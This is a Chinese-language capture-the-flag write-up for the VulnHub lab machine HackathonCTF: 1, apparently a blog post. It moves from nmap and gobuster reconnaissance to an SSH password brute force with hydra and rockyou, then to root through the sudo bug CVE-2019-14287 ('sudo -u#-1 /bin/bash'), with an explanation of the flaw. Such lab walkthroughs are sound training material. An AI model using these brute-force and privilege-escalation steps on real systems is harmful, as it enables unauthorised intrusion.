HackathonCTF: 1

HackathonCTF: 1

来自 <https://www.vulnhub.com/entry/hackathonctf-1,591/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.150

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.150

4,尝试匿名访问ftp服务器

ftp 192.168.23.150

再尝试访问80端口的http服务

应该是因为首页文件被禁止访问,扫描其子目录试试

gobuster dir -u http://192.168.23.150/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.150/robots.txt

robots.txt中得到提示

暴力破解7223端口ssh服务的账户密码

5,需要一步步找到账户密码,首先得到了用户名为test

http://192.168.23.150/sudo.html

view-source:http://192.168.23.150/ftc.html

用python把这些ascii码转换成相应的字母或者符号

s = "#117#115#101#32#114#111#99#107#121#111#117#46#116#120#116"

s1 = s.split('#')

s1.pop(0)  # 移除空字符串(因第一个字符是#)

for i in s1:

    print(chr(int(i)), end="")  # 移除多余的//end=""

6,确定下来使用rockyou.txt,开始爆破

hydra -l test -P /usr/share/wordlists/rockyou.txt ssh://192.168.23.150 -s 7223

成功爆破到该用户账户密码jordan23

7,ssh登录一下

ssh test@192.168.23.150 -p 7223

信息收集一下

然后再尝试提权或者横向移动

ctf用户可以任意使用sudo,那么就需要我变成这个用户以实现提权

8,分析发现sudo这个命令本身的版本过低,也是可以提权操作

sudo -u#-1 id -u

-u#-1 触发漏洞,把身份切换成 UID=0。输出应该是:0,表示已经是 root 用户。

sudo -u#-1 /bin/bash

直接启动一个 bash shell。因为 sudo 把 UID=4294967295 解析成 root (0),最终就是 root 权限的 shell。

漏洞原理(CVE-2019-14287)

  • 在 sudo 配置中,可能有一条规则允许用户以 任意 UID 身份运行命令,比如:
    user ALL=(ALL, !root) ALL
    这里表示:用户可以切换成任何人,但不能切换成 root。
  • 但是 sudo 的 UID 解析存在 bug:
    • 当你指定 -u#-1 时,sudo 会把它当成 UID 4294967295(无符号整数溢出)。
    • 内部转换时,这个值又会被映射为 0(root 的 UID)。
    • 结果:攻击者就能绕过 !root 限制,直接获取 root 身份。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值